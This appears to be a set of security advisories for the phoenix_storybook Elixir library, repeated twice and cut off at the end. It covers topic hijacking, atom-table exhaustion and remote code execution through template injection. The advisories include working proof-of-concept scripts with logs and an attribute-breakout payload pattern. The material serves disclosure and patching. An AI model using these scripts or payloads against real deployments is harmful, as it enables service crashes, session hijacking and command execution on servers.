• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

